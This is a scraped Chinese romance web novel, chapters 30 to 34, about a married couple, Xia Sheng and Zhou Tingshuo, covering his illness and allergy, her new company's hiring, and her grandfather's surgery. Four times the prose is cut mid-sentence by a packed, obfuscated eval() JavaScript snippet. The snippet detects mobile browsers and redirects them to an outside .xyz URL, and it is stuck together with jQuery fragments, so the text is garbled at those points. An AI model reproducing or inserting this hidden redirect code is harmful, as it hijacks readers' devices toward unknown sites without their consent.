;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028833|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头回厨房,周庭朔走过来,拿起那张便签看了下,字迹清秀工整,确实是夏声的笔迹。 身后徐姐端着另一只碗出来:“您实在不想吃饭,把这百合雪梨汤喝了吧,清肺润喉。” “我来的时候就煲在炖盅里了,应该是太太提前做好的。” “也不知道太太几点出门,我来时看炖盅上的定时刚开始,她应该也是刚走没多久。” 徐姐一般早上六点就会进家做饭,夏声大概天还没亮时,就准备这些东西了。 周庭朔看眼那碗雪梨汤,算是松口:“放那吧。” 夏声回来时,徐姐刚收拾完。 早上去机场的路通畅,结果回来赶上车流,堵了好一会。 她换完鞋,歪头看眼主卧的方向,压低声问徐姐。 “他一直没起来?” 徐姐笑着应:“刚起来吃了饭和药,还有梨汤也喝了,这会刚回房间。” 夏声点点头,轻手轻脚地走到主卧门口,推开一道缝,发现他并没睡。 主卧的窗前,他坐在扶手椅上,低头看书。 听到身后的声音,转头看向她。 “还不错,有自觉,没又去书房跟你的工作难舍难分。”她点头认可。 昨夜夏声基本没睡,可能因为今天要早起送安真,她在客卧躺了两三个小时没睡着,索性就起来给他熬梨汤。 煲好盅,又准备了便签交代徐姐,才开车出门。 早上安真还说她黑眼圈惊人,下午应该化化妆再给人面试。 “不然人家会以为你们是扒皮公司,连老板的黑眼圈都熬这么大” 下午夏声要去公司,她约了几个人来面试。 这边周庭朔合上书,问:“你昨晚又去客卧了?” 她正要去换衣服:“嗯,怕影响你休息。” 听他声音好多了,夏声露出欣慰的表情。 “看来休息还是有用吧?” 正说着,他手机响起来,就算他要休息,公司里有些事也要通过他。 夏声转身去衣帽间。 主卧配有一间步入式衣帽间,原本一列全部是成套的纯色系定制西装,现在有一小部分换成了各种颜色款式的女装。 夏声从里面拿出家居服,转身时不小心带到旁边一列的抽屉。 低头看一眼,各种深色系同品牌的男士内裤,叠放整齐码在里边。 这人真是表里如一,整个家估计都找不到一点花哨跳脱的物品。 夏声手搭在抽屉上,正要推回去,周庭朔走进来。 他视线落在她的动作上。 抽屉仿佛烫手,夏声匆忙将其合上,反而有一种被做坏事当场抓获的既视感。 “那个,不知道怎么它自己就开了,不是我要打开看。” 周庭朔走过来,在她面前拉开抽屉,顺手抽出一条,合上。 “这个家里没有你不能看的地方。”他转身在另一边的柜子里,拿了套运动装。 “你要运动?” 他手已经搭在睡衣下摆,略一躬身,身体从衣领脱出,宽厚紧实的背,距她几步远。 画面转变太突然,夏声眼一热,过了两秒才转头不看:“你现在应该休息,而不是运动。” 声音从身后传来:“只是慢跑一会,总待着身体也僵。” 这人临走还不忘补一句。 “我说过,家里没有你不能看的。” 31. 第 31 章 等夏声从衣帽间出来,周庭朔已经不在,大概去锻炼了。 夏声拿着电脑,在客厅沙发坐下,下午面试她还要准备,于是跟秦莫在电脑上讨论,定下要问的问题。 两人都没什么经验,一时没有头绪。 一个小时后,运动完的周庭朔,就看到客厅愁眉不展的夏声,他洗过澡自顾坐在沙发另一端,也不打扰她,手里拿着Pad翻看。 没多久,福宝似乎觉得沙发人气旺,跑到那开始蹭夏声。 她手指噼里啪啦,在键盘上忙得很,视线盯着屏幕,哄它走。 “乖,妈妈忙着呢,你一边自己玩去。” 没得关注的福宝,转到沙发另一侧,抬头看了眼面前冷淡的男人,喵呜叫两声,好像很委屈的样子。 周庭朔微微扬眉,看那胖猫竟在他脚边趴下,绒呼呼的皮毛贴在他的脚踝,像是不准备走了。 “她也不是只不理你。”他瞥了眼旁边正忙的夏声。 这话有种同病相怜的意味,但夏声两耳不闻窗外事,完全没注意到旁边发生什么。 半个多小时后,记录问题的文档保存,她跟秦莫约好下午见,才合上电脑。 再转头,发现沙发另一侧,福宝靠着某人正呼呼大睡。 周庭朔身体似乎抗拒,但终究没把猫赶跑,勉强端坐在那,凝神看文件,偶尔抬手摸了摸颈侧,好像哪不舒服,微微蹙眉。 等他手放下,夏声才发现,他脖子上起了星星点点的红。 “等下,你是不是过敏了?” 周庭朔掀开袖子,才发现身上也起些疹子,微红略痒,倒不算太严重。 夏声起身把福宝从他身边移开,仔细观察他身上的红疹。 福宝不满地摇摇尾巴,走到另一边团成一团。 它与男主人的第一次亲密接触,就这样以失败告终。 “去医院吧,我不知道你猫毛过敏。” “养猫的时候你也没说。” 他将袖子放下,并不在意。 “我的过敏原里没有猫毛这一项,应该是免疫力低导致的阶段性过敏。” 但不管他怎么说,过敏这事可大可小,不能随便含糊。 夏声把福宝送回卧室,就拉着周庭朔往医院赶。 医生诊断,确实是因为免疫力低导致的短暂性过敏,于是又给他开些抗过敏药。 一来一回,时间就差不多到下午,夏声准备将周庭朔送回去,再去公司。 路上等红绿灯的间隙,她不自觉看着前方出神,直到身后的车鸣笛。 周庭朔提醒她:“变灯了。” 一路上她明显注意力不太集中,在掩唇打过第三个哈欠时,两人终于到家。 夏声停车等他下车,周庭朔却看着她没有动作。 “你昨晚睡了几小时?” 他突然发问,夏声眼珠转了转:“可能一两个小时?我也记不清了,反正迷迷糊糊睡不踏实,干脆凌晨就起来了。” 夏声眼见他叹口气,从副驾下来绕到她这边。 车门拉开:“下车,我送你去公司。” “啊,我自己能开车啊,你今天就是休息的,不用送我。” 他站定在那,盯着她看了会,直接俯身上前,探进驾驶室。 夏声下巴向后,整个人退到椅背上,驾驶室空间本就不大,他探身进来更是没有任何挪动空间。 硬挺的侧脸就在她唇畔不远处,夏声压下视线,看见他将自己的安全带打开。 只一瞬,他又退出去,夏声还想说什么,被他抓着手腕带出来。 “我不想明天看到有人疲劳驾驶出车祸的新闻。” 知道他是为自己好,夏声退而求其次,想个折中的办法。 “要不我打车吧,这样总安全了。” 刚坐进车里的周庭朔支起眼皮瞧她:“我的车技很差?你就这么不想坐。” 算了,夏声闭上嘴,安静上车。 到公司的时候,秦莫还没来。 夏声拿出钥匙打开玻璃门上的锁,侧身对周庭朔做了个请进的姿势。 人已经送她到楼下,总没有不让人上来看看的道理。 室内刚装修好,一切都是全新的。 门口右手边是一块小的接待区,墙上艺术字体写着,云声文化发展公司。 往里是公共办公区域,半人高的透明隔断将空间划分为数个工位,地上铺着静音地毯,墙角还放着几盆高大的绿植。 中规中矩的装修风格。 公共区域再向里,有一条走廊,里面有两间独立办公室,一间会客室,一间会议室,还有一个后勤杂物间。 夏声指了指靠里那间办公室,磨砂玻璃门上,挂着“总经理办公室”的牌子。 “这间是我的。” 办公室不算大,但该有的配置也都有,夏声走进去,绕过办公桌,坐进黑色的办公椅。 周庭朔站在她对面,粗略打量一番,表示认可。 “很不错。” 明箴三十二层,他办公室里的休息室都比她这间屋子大。 但对夏声来说,她很满意。 面试定在下午两点,还差十五分钟时,秦莫匆匆赶来。 “走到一半发现我电脑忘带了。”她一抬头,才发现办公室里还有另一个人。 “是……周先生?”这是猜的。 跨年那张照片只能看到剪影,但与眼前人相对比,身型气质都符合,应该没错。 “你好,我是周庭朔。”他绅士地率先开口。 秦莫微笑点头:“你好,我是秦莫,声声的学姐。” 寒暄过后,周庭朔自觉退到一边,夏声两人要去会议室准备面试。 临走前,夏声问他:“你要不先回去吧,我这面试什么时间完也没有准。” 他将她办公室的窗打开,站在窗前回头看她。 “不用管我,去忙吧。” 秦莫坐在会议室,微微侧身跟夏声说悄悄话。 “你家周先生不用上班吗,还是特意抽时间送你来的,看起来还怪体贴的。” 夏声把几个求职人员简历分好,抬眼瞟下对面,她办公室的门没关,隐约能看到他挺阔的背影。 “他今天刚好休息。” 至于体贴,外人看好像是那么回事,但实际不过是他信不过自己,怕她开车路上睡着罢了。 面试一共七个人,分两个岗位,大概用时一个多小时。 最后一位应聘者结束面试时,已经下午三点半,他出门刚好听到对面办公室有人在通电话。 “第一阶段四千五百万的预算已经不低,转化率如何有目共睹,如果下一阶段还是这个效率,考虑预算减半。” 紧接着声音的主人走出来,男人五官英俊,气质矜贵,手上的电话刚挂断。 这位刚结束面试的应聘者,想都没想,立刻打招呼。 “领导好,我是今天来应聘的,我叫赵文宾。” 小伙子身上的白衬衫还带着崭新的折痕,鼻梁上一副黑框眼镜,典型初入职场的学生模样。 目睹一切的秦莫和夏声默默掩笑,周庭朔停住脚步。 他略一偏头,示意会议室里:“我不是领导,如果你能应聘成功,那两位才是你领导。” …… 出门后的赵文宾懊恼地抓下头发,第一次面试就认错上司,搞不好这一次又要泡汤。 他是今年毕业的应届生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034909|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学校并不算好,如今就业形势这么差,每一次面试机会对他来说都弥足珍贵。 下次再不敢多嘴了。 前面一位面试者还没走,看他出来特意来打听。 “你觉得这公司靠谱吗,我看这里一个工作人员都没有,完全新公司,不会干着干着就跑路了吧?” 公司看着是不大,但赵文宾刚刚听到过那位“领导”打电话,几千万的项目从他口中说出来仿佛稀松平常,再看他穿着气度…… 他是个实心眼,把自己的猜测都说了:“刚刚我看那里边办公室出来个人,一看就是有点身份的,手上的手表我在网上见人盘点过,说是市中心一套房的价。” “他肯定跟这家公司有关,没准这是哪个富二代想创业,先办这么个小公司练手的,反正我觉得有工作就行,我不挑。” 被人称作“富二代”的夏声正在会议室里跟秦莫苦恼。 几个来应聘的,都各有长短,没有特别亮眼的,也不至于特别差,一时难以取舍。 周庭朔拿起桌上的简历,以及她刚做的记录,看了看。 “想听听我的意见吗,仅供参考。” 她点头:“可以啊。” 因为她们是初创公司,规模小,也不知名,加上薪资待遇也是平均水平,很难收到特别亮眼的简历,甚至大部分人都是刚毕业的大学生,或者仅有一两年的工作新人。 所以人的本质,比外在的标签和工作经历更重要。 “踏实,谨慎,内核稳定,拥有这几种品质的人,适合长线聘用的文职工作。” “个性明显,善沟通,创作欲高,这类人适合更加灵活的对外业务。” 他并没过分关注简历,随口举个例子。 “像刚刚那位赵文宾,这两种倒也都不符合,但我猜他很需要这份工作。” “通常这样的人,工作最积极认真,也不妨聘来一试。” 还有一些细节性的建议,他提得也都很有实用性。 一番话给了夏声新角度,她重新梳理下刚刚面试的过程,心里大概有了方向。 晚上,夏声一鼓作气,横向纵向比对下午的应聘人员,很快敲定录取人选。 长舒一口气,夏声看到学校寝室群又热闹起来。 原来是catti二笔成绩出来了。 【赵茹:果然二笔会给每一个裸考的人一记重创。】 【沈习诗:谢邀,已被创飞。】 【沈习诗:我两科加一起还没有人家一科分高,什么地狱笑话。】 【赵茹:声声怎么不说话,闷声干大事是吧?】 【赵茹:@夏声你怎么样,是不是过了?!】 最近忙,夏声把这事忘了,这会才匆忙登陆网站,成绩出来那刻,她抿着笑看了好一会。 【夏声:刚查完,算是过了吧,运气好。】 周庭朔恰好出来接水吃药,看到她对着电脑聊得开心,不由多绕两步过去。 “什么事,这么高兴。” “我考试过了呗,上次你还问我是不是考得不好。”夏声眉梢间有些小得意,“我考得超好。” 周庭朔余光看到成绩页面,两科都在七十分以上,确实是很好的分数。 似乎被她的情绪感染,他微笑点头:“恭喜,很厉害。” 他脖子上的红点还在,说话间手指不自觉就会去碰。 夏声留意到,想起下午医生开的药:“那个外用止痒的药你用了吗?” 看他的反应就知道没有,她关掉电脑起身。 “算了,我帮你涂吧。” 说这句话时,她只关注到他脖子上的疹子,忘了过敏可是全身性的。 要帮涂,自然要帮全身。 32. 第 32 章 药品说明摊开放在茶几上。 软管内的药是透明凝胶状,挤在手上是冰冰凉凉的触感,很舒服。 夏声坐在周庭朔旁边,将药点在指尖,再对准一颗颗红疹均匀涂开。 脖子上的很快涂完,有一小片红在衣领下方,半遮半掩的夏声不好下手。 她指指那:“你要不把扣子解开点,涂不到。” 周庭朔依言解开一颗,但再往下还有红疹,索性他一口气将扣子全部解开。 夏声缓慢地咽一小下口水,告诉自己现在是做正经事,一定要淡定。 哪有红疹她涂哪就是了。 然而她不知道,手上的凝胶清凉,她的吐息却温热,忽远忽近地落在他身前各处,像是四处撩拨的猫爪,还不得任何章法。 周庭朔坐得挺直,略微抬着下巴,视线却低低垂下,自上而下看着她精致的鼻尖,以及时张时抿的唇瓣。 那猫爪越落越下,直到腰间,见她还没有停手的意思,周庭朔抓住她的手腕。 夏声动作一顿,这才反应过来。 脸瞬间红了一度,她赶紧坐直身体,手指指他背后。 “你转过去,我帮你涂后面,剩下的你可以自己弄。” 其实除了后背,别的地方他都能自己涂,只不过有人自告奋勇帮忙,周庭朔自愿配合。 背上的情况好一些,零星几处红点,很快涂完。 夏声结束,把药膏递给他:“可以了,剩下的你回房间涂吧。” 明明开始的时候做好心理建设,但忙活完,她手心还是有些濡湿。 周庭朔无声穿好衣服,脸不红气不喘,十分淡定地道谢,然后起身回房。 坐在沙发上,夏声按住胸口不安分的心。 深深吸了几口气,自我教育起来。 “人家一副堂堂正正的样子,倒是你,跳个什么劲。” “而且他是个病人,不可以燥动,不可以胡思乱想!” 几秒后,身后响起另一个声音,语调平直正经,异常清晰。 “你要是想,没什么不行。”还非要补充一句,“这点症状,不影响。” 夏声脖子像上了锈的发条,僵硬地转过头,看见去而复返的周庭朔,笑都笑不出来。 怎么他这么会对号入座。 “我没想,不是,你快去擦药,我那是自说自话,跟你没关系。” 他缓慢转动瞳仁,问:“与我无关,那你是对其他人燥动?” 这人总有办法堵她退路,夏声干脆什么都不认。 “你听错了,我刚刚是说考得太好,自己有点激动,没其他意思。” 总算把人糊弄走,夏声收拾东西去客卫洗澡,今天她照例准备睡客卧。 因为周庭朔对福宝“暂时”过敏,今天一整天小家伙都待在卧室,可能有些不满。 客卧门刚一开,它顺着门缝就跑出来。 沙发窗台柜面,上窜下跳让它好一阵撒欢,夏声叉着腰站在一旁,等它放电结束再抓它归案。 大概是它动静太大,周庭朔从房间出来。 夏声回头冲他摆手:“快回去,一会我就抓它进去,你不用管,睡你的。” 几句话,他似乎品出什么。 “你还要自己睡?” 当晚,她的计划落空,客卧睡的只有福宝。 第二天清早,另一边床早早空了,周庭朔休假结束,作息立刻回归正常。 像调时精准的人工智能。 夏声今天要去接夏国理,周庭朔回国后就跟她一起商定,让爷爷来京市做手术,顺便在这边过年。 时间还来得及,她躺在床上,看到一个新的群提示。 是周仪娇拉的三人小群,取名三花聚顶。 【安真:好妹妹,咱这是什么赌王群吗?】 【周仪娇:呜,我实在想不出好名字,要不你改一个?】 【安真:挺好的,没准哪天我一举中一个亿,就不用工作了。】 【夏声:到时候分我一半,谢谢。】 她扔下手机去洗漱,吃饭的功夫,又扫了眼消息。 【安真:@周仪娇看见你嫂子没,贪得无厌,你哥没给她零花钱是怎么的?】 【周仪娇:那我得问问。】 夏声没再回,专心吃早饭。 徐姐煲得海鲜粥很香,她喝到第二碗,手机响起来,看了眼是周庭朔。 “怎么了,忘带东西了?” “不是。” 他已经到公司,秘书刚好进来送咖啡。 “你下午接到爷爷,顺便去逛逛,看看有什么需要买的。” “或者你自己想买什么,衣服包都行。” 没头没尾地让她买东西去,夏声奇怪:“我也没什么想买的啊。” “没有就现去看,用我给你那张卡。” 他打开电脑查收邮件,顺便示意助理把文件放下。 为避免她又听过就算,还特意强调。 “那张卡再不动账,会被冻结,今天必须有消费记录,你就当帮忙。” 毕竟上次她买车,让她用他的卡,她也没用。 看着挂断的电话,夏声一头雾水,什么黑卡不消费会被冻结? 她突然想起群里的聊天记录。 【夏声:@周仪娇你真去问你哥了?】 【安真:看你这反应,多半是,怎么你家听说哥有啥反应?】 【夏声:大清早一睁眼就接到花钱任务,不像是真的,可能还在做梦。】 被秀了一脸的安真,发个鄙视的表情,决定中一亿坚决不分她一半。 两人贫半天,才发现另一位又不说话了。 这边,周仪娇看着备注为“惹不起人士”发来的消息,欲哭无泪。 【下午陪你嫂子去花钱,记住,花不到七位数,下个月你零花钱减半。】 她何苦多嘴问! 去接夏国理前,周仪娇已经赶到碧水华汀,还带着个小帮手。 刚结束冬令营的周灵熙许久没见夏声,听说她要来,一定要跟着。 出门接人的夏声,直接一带二。 老爷子一下飞机就见到两个周家人,周仪娇嘴甜,周灵熙听话,全会哄老人开心。 夏声本想让爷爷住家里,但他第二天一早就要入院,还要做很多术前检查。 首都总医离碧水华汀还是有些远,周庭朔找人将那附近一套房子收拾出来,让老爷子住。 “爷爷,今天我们先住医院附近,明天再去办住院,你也能歇一天。” 夏国理都由他们安排,坐在后座跟周灵熙说话。 “现在几年级,学习累不累?” “不累。”周灵熙坐得端正,一看就是好学生模样。 当一辈子教师的夏国理就喜欢这样的孩子,生生夸了一路。 房子就在医院旁边,过个路口就到,三百多平上下两层的复式,收拾得干净整洁。 提前安排的阿姨是周家常用的老人,周仪娇都熟识。 她特意跟夏国理介绍:“孙姐人特别细心,您有什么事都可以找她,别怕麻烦。” 安顿好夏国理,周仪娇没忘自己的任务,拉着夏声准备出门。 正好周灵熙跟夏国理玩起来五子棋,一老一少还挺认真,谁也没空理她们。 京市最大的奢侈品商场就在附近,周仪娇是常客,带着夏声直奔主题。 就找最贵的几家。 店里的SA认得面孔,把最新款都拿出来给周仪娇挑,凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046148|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是小件货一律被她pass掉。 奢侈品店的SA都是人精,一会就看出门道,很快把店里的高货全摆出来。 夏声对这些没概念,她自己的包大多网购的,百十块钱能背好几年。 不懂这些奢侈品溢价这么高,到底好在哪。 “还是算了吧,我觉得不值。” 进到这里的人,就算觉得贵,大多不会直接明说,像夏声这样的少有。 周仪娇拿起一只Birkin问SA:“稀有色现在有哪几种?” 一般这种都没有现货,SA拿起pad调出图片给她们看。 这样的,一只包连带配货就够目标价格了,省得再费心思买别的。 周仪娇问夏声:“你看这几只你喜欢哪个颜色,我们要一个经典色一个稀有色就差不多了。” 夏声有一搭没一搭地翻看,问:“一定要选?” “选,以后你也是夏总呢,背点好包必要的。” 最后她选个清新的薄荷绿,和经典的大象灰,拿卡结账的时候,SA特意加了她的联系方式,留下地址,过后会送货上门。 晚上夏声留在这边陪夏国理,周仪娇带着周灵熙回去,路上就给她哥发去任务完成的信息。 本以为美滋滋交差,点开回信,傻眼。 【惹不起人士:以后每月你都陪她去逛逛,消费标准只高不低。】 【周仪娇:?】 【惹不起人士:花出去多少,你零花钱加多少。】 【周仪娇:保证超额完成任务!】 周庭朔傍晚得空,打来电话。 问候过夏国理,才跟夏声说上话。 “今晚我要忙得晚一点,就不过去,免得打扰爷爷休息。” “明天一早我去接你们一起去医院。” 其实就在门口,走过去不过几分钟,夏声推说不用,他坚持。 “爷爷入院,我不露面不合适。” 挂断电话前,夏声想起应该告诉他一声。 “你交代的事办完了,买了两只包,真是贵得我肉疼。” 对面语气平静:“卡里的钱不花也没有别的用处,买得多了就不觉得贵了。” 夏声:…… 这话真是壕无人性。 晚上,夏声陪夏国理听新闻,老爷子这些年伏案工作,肩颈也不好,她正好给他捏肩松解。 “声声啊,爷爷给你包里放了张存折,密码是你的生日。” “万一这次手术,真有什么意外,也算爷爷留给你的一点私房钱。” 夏声听得皱眉,硬着嗓子回他。 “爷爷你说什么呢,能有什么意外,别瞎想。” “我不要你的钱,我有钱。” 夏国理拍拍肩膀上的手,将她拉到身前。 “爷爷知道你不缺钱,林家有钱,周家也不会缺你的,但总归都不是爷爷给的。” “这些年,爷爷始终觉得亏欠你,虽然你从来不说,但爷爷怎么可能不知道你委屈。” “小时候放学,别人父母是开车去接,你只能坐在爷爷的自行车后座,你眼神羡慕的,爷爷都看在眼里。” 夏声鼻头发酸,用力眨眼睛。 “我不爱坐汽车,就喜欢自行车,还能兜风。” 老人抬手摸摸她的脸,眯着眼笑。 “傻孩子,爷爷当然知道,你不是羡慕别人坐汽车,你是羡慕别人有爸爸妈妈接。” 这些年夏声一直表现的乐天知足,可夏国理的话却像龙卷风过境,将她的所有粉饰摧毁地干干净净。 她终于忍不住,伏在老人膝上痛哭。 “爷爷,我谁也不羡慕,我谁也不要。” “我只想你好好的,我只有你一个亲人了。” 33. 第 33 章 首都总医总是人满为患。 世人无论贫穷富有,总逃不过生老病死,在这里,也算另一种众生平等。 周庭朔将一切都安排好,夏国理入院就先见了于教授,隔天的手术也由他亲自操刀。 老教授人很和蔼:“不用担心,我们这里每天都要做十几台这类手术,预后良好几天就能出院。” 见面之后,夏声陪着夏国理去做检查,周庭朔独自跟于教授聊了会。 等他们回来时,他正好带着护工进来。 “这几天就让护工照顾您的起居,有什么需要的都可以跟她说。” 他还有工作要忙,夏国理也不留他。 “让你费心了,安排的这么周到。” 夏声送他出门,司机已经等在医院门口,她站在台阶上目送,周庭朔踏出两步又转身回来。 “别太担心,手术那天我来陪你,一切有我。” 她扯出笑:“嗯,不担心。”想起他还是带病工作,叮嘱一句,“嗓子刚好,记得多喝水,还有外涂的药你记得上。” 外面风大,她没穿外套,周庭朔点头,示意她放心。 “嗯,快回去吧。” 这几天夏声脱不开身,公司的事只能都交给秦莫。 好在她稳妥靠谱,样样做得有条不紊,还打来电话问候她爷爷情况,让她不必分心那边。 薛宁玉每天安排人来送餐,都是家里保姆做好的,荤素搭配还要适合病人。 本来她一早想来探望,但这两天周家老爷子哮喘犯了,也走不开人。 手术那天,周庭朔提前推掉所有工作,早早来陪着。 术前要告知注意事项,值床医生将手术风险说完,护士递来一摞需要签字的单子。 抢救同意书,风险告知书,紧急联系人确认书…… 夏声握着笔,一笔一画地写,签到最后一张,过分用力的笔尖在纸面戳出一块浓黑的墨点。 护士将文件收走,她转头深吸一口气,调整表情。 周庭朔一直陪着夏国理说话,老爷子到底年纪大些,见得多也不害怕,还反过来跟夏声开玩笑。 “瞧瞧这孩子,当年高考都没见她这么紧张,皱着张脸。” “我哪有。”夏声辩解,对上周庭朔沉着的目光,心稍稍落定。 手术安排在上午第一台,全程预计三小时,夏声一刻坐不下,在走廊里踱步。 每隔几分钟,就要抬头看看手术灯灭了没,焦虑不安全都写在脸上。 周庭朔靠站在一旁,只是静静陪着她,此时说什么宽解的话都没用,她担心是必然。 手术中途,于教授从里面出来,周庭朔先上前。 “手术很成功,助手正在缝合,一会病人就会推出来。” 他指下托盘里的组织:“这是切下来的肿瘤,等做完病理分析,就可以定后续方案,大概率是良性,放心。” 这下,夏声终于松口气,退下两步扶着墙边站定,没敢再看那托盘里的东西。 手术后,夏国理还没完全苏醒,照看护理有护工在,周庭朔将夏声安顿在沙发休息。 “等爷爷醒了你还要陪着,趁这会歇歇,你精神太紧绷,耗神。” 夏声歇不下,但也跟他道声谢谢。 “这次多亏你帮忙联系于教授。” “你我之间,不必道谢。”说话间,他的手机屏幕亮起来。 到医院,他自觉将电话调到静音,这会看了眼来电人,没理。 对方锲而不舍,又打来。 夏声劝他:“也许他有急事呢,你去接吧。” 周庭朔略一点头,转身去走廊接通。 电话那头,祁家骏正在开车,发动机的嗡鸣透过听筒都清晰可闻。 “周庭朔,出来陪我喝酒。” 医院走廊上的电子表显示,此刻是中午十二点二十。 “现在是白天。” “白天怎么了?”好像路上有人按他喇叭,祁家骏在那边咒骂一句,又问,“你到底来不来?” 毫无耐性的语气,听得出心情不好。 身后病房里,护士正进去换药,周庭朔瞥一眼,收回视线。 “你先把车停路边,地址发我。” 祁家骏心情不好时有坏习惯,喜欢飙车,他自己组了个车队,玩票一样,被家里骂了几回硬是不散。 医院这边,周庭朔暂时还走不开。 挂断电话,他给任珩和卓冕分别发消息,让他们过去看看。 【看好他,别闹出事。】 夏国理半个多小时后醒来,老人状态很好,但暂时还不能进食。 夏声捏着棉签沾水,给他润唇。 “好了,这下身体里的定时炸弹摘了,我可得再多活十年。” 有力气说笑,神志也清楚,夏声终于放心,脸上表情也渐柔和。 见周庭朔一直静立在旁边,知道刚刚那通电话肯定有事。 “你去忙吧,这里我跟护工在,没什么事。” 护士正在给病人测体温,顺便纪录监测仪数据,夏国理眼神指指门外。 “真要有事这的大夫护士比你都急,你快忙你的去吧,在这还耽误我们爷孙俩说悄悄话。” 卓冕刚刚回信息,他今天早上出差,现在刚好不在京市。 任珩倒是去了,但他只怕劝不动祁家骏。 周庭朔权衡一番,决定去看看:“我出去一趟,晚点回来。” 今天来医院,本就是他自己开的车,顺着刚刚任珩发的新定位,一路开到会所。 进到包间,果然一桌都是酒瓶,七七八八各种酒都集齐了。 祁家骏手肘撑在膝上,抬头瞥他一眼,咧嘴拍拍身边的位置。 “算你有良心,快坐,陪我不醉不归。” 旁边的任珩递给周庭朔一个眼神,微微摇头,表示有人要发疯实在拉不住。 医院里,夏国理醒了一会,又睡过去,手术毕竟伤元气。 夏声靠坐在沙发上,点开手机信息。 知道她今天在医院陪护,安真特地问问手术情况,夏声告诉她一切顺利,对方就没再回。 实在反常,她平时可是个话痨。 两个小时后,夏声收到周庭朔的信息,说自己还要晚点过来。 顺便还问了她,安真的联系方式。 想了想,夏声打过去电话。 这边,祁家骏捏着一支烟,垂眉丧眼,周庭朔将包间里的酒全部撤出去,他暂时没得喝。 感情的事,是周庭朔的盲区,他不会劝只能拦。 至少保证人还清醒,其余只能交由本人自己解决。 桌上的手机亮起,是夏声的电话,他瞥了眼旁边,转身接起来。 几分钟后,夏声让他把电话给祁家骏。 包间里没有放音乐,显得尤为安静,夏声的声音从听筒里隐约传来。 祁家骏拿着手机,沉默听着,大概过了几分钟,他才回一句话。 “好,我知道了,谢谢。” “如果她联系你……算了。” 电话挂断,他将手机还给周庭朔,将烟掐灭扔掉,眼神撇撇门口。 “走吧,回了。” 任珩瞪着眼睛,用口型做了个“哇”的感叹。 他嘴皮子磨破,劝了几个小时,又加上周庭朔在这镇场子,都没说服这家伙。 夏声几句话,人就想通了。 因为喝了酒,周庭朔叫代驾送人回去。 车走后,任珩忍不住,凑到周庭朔旁边打听。 “朔哥,嫂子到底说什么了,这么管用。” 周庭朔抬手看眼腕表时间:“不清楚。” 他也想知道,于是晚上趁着夏国理休息,两人出来散步时随口问过她。 结果,夏声背着手头一歪,告诉他是秘密。 “不过你可以用你的一个秘密换。” 医院门口的路灯下,刚好有个卖烤红薯的小摊,甜糯的味道老远飘来,夏声有意无意地向那看。 他眼神留意到,过去买了一只,递给她:“用这个换?” 烤红薯热乎乎,刚好可以用来暖手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054308|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏声接过来,睨他一眼:“奸商,说好用一个秘密换,你用烤红薯就打发我?” “我没什么秘密。” 她自然不信,于是主动来问。 “那你就说说,你上学时的事?” “有女孩子追你吗?” 学生时代,在他的印象里,除了读书,就是和几个同学打球,其他方面他概不留心。 “追?没有。” 这回答存疑。 几天后,周仪娇陪着薛宁玉来探望夏国理时,夏声特意跟她验证。 周仪娇毫不留情地戳穿。 “算了吧,以前追他的姑娘,迂回战术都打到我这了。” “平安夜圣诞节,我替他收的苹果巧克力,都够出门摆摊的。” 不过想想她哥当年那张冰块脸,对哪个姑娘都懒得多看一眼,她又能理解。 “也许,他真的认为没人追他。” “就他那个大直男,本来我都怕他会孤独终老,幸好嫂子你把他拿下了。” 拿下? 这事,夏声更加存疑。 周庭朔对她不差,这不可否认。 但就像他所说,她是他法律上的妻子,两人之间有权利有义务。 他对她的照顾和关心,可以出于责任,出于礼貌,出于个人修养,却不能说出于感情。 夏国理赶在农历新年的前两天出院,他每天还要返院换药,所以仍住在医院附近的房子。 过年夏声自然不会让他自己在这,周家邀请他们过去一起,但夏声怕老人觉得拘束,还是不方便,就婉拒了。 爷孙俩独自在这筹备些年货,又把福宝接来,一家三口也算热闹。 新婚第一年,按理说她应该去周家过年。 她私下同周庭朔提起,他只让她宽心。 “没有这些规矩,家里那边我去说,你只需安心陪爷爷。” 春节当天,一早她随周庭朔去西苑,将新年礼物送到,略坐一会就准备告辞。 薛宁玉让周庭朔出来送她。 